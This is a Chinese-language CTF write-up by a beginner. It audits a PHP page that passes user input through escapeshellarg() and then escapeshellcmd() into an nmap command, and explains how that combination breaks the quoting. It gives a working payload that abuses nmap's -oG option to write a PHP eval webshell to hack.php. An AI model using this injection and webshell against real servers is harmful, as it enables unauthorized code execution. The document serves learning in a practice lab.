本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,题目直接给我们源码,进行审计,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//这段代码检查是否存在X-Forwarded-For HTTP头,如果存在则用其值覆盖客户端的真实IP地址(REMOTE_ADDR),和题目没太多关系
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
//如果没有提供host GET参数,就高亮显示当前PHP文件内容
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else { //获取用户输入的host参数,使用escapeshellarg()和escapeshellcmd()进行安全过滤,防止命令注入
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);//为每个用户创建一个基于其IP地址的MD5哈希的沙盒目录
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //切换到该目录下执行操作
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); //执行nmap扫描
}

代码不是很长,但是要构造payload需要了解一下东西,

escapeshellarg()和escapeshellcmd()

这两个是PHP中用于安全处理命令行参数的函数,但它们的组合使用有时会产生意外的结果,两个组合一起就会产生安全隐患。

escapeshellarg()

功能:将字符串转义为安全的shell参数
特点:
在整个字符串周围添加单引号
将字符串中已有的单引号转义为 '\''(先关闭引号,转义单引号,再打开引号)
确保字符串被当作一个整体参数传递

简单案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
$input = "it's";
echo escapeshellarg($input);
处理过程:
1.包裹外层引号 → 'it's'
2.转义内部单引号:
在 ' 前关闭引号 → 'it'
插入转义单引号 → '\''
重新打开引号 → 's'
3.最终结果 → 'it'\''s'

Bash解析时:
'it' + \' + 's'
合并后仍是原始字符串 it's

escapeshellcmd()

功能:转义shell元字符
特点:

转义以下字符:#&;|*?~<>^()[]{}$`、换行符和回车符
不添加引号
主要用于转义整个命令中的特殊字符
实例:

1
2
3
$input = "hello;world";
echo escapeshellcmd($input);
// 输出: hello\;world

两个一起组合如何产生漏洞

当这两个函数组合使用时(特别是先escapeshellarg再escapeshellcmd),可能会产生漏洞:

1
2
3
4
5
6
$input = "' <?php code ?> -oG evil.php '";
$arg = escapeshellarg($input);
// 结果: ''\'' <?php code ?> -oG evil.php '\'''

$cmd = escapeshellcmd($arg);
// 结果: ''\\'' \<\?php code \?\> -oG evil.php '\\'''

Bash解析时的行为:
1.开头处:''\\'' 被解析为字面字符串 \
开头的''是空字符串
\\被解释为字面反斜杠
''又是空字符串
2.中间的 <?php code ?> -oG evil.php因引号被破坏而成为独立参数
3.末尾:最后的'→ 可能被忽略或与后续内容关联
'\\''' 可以拆解为以下部分:
'\\' → 单引号包裹的两个反斜杠
'' → 空字符串
' → 未闭合的单引号(实际会与后续内容关联)

构造payload

1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

nmap有一个参数-oG可以实现将命令和结果写到文件,
将一句话木马写入hack.php文件中,相当于传入一个木马文件,
当这个字符串被拼接到nmap命令中时:

1
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\\'''

转义后的字符串在Bash中解析时,PHP代码部分会被当作普通参数传递给nmap,
nmap的-oG选项允许将结果输出到文件,结合PHP标签可以创建webshell


写入成功,




获得flag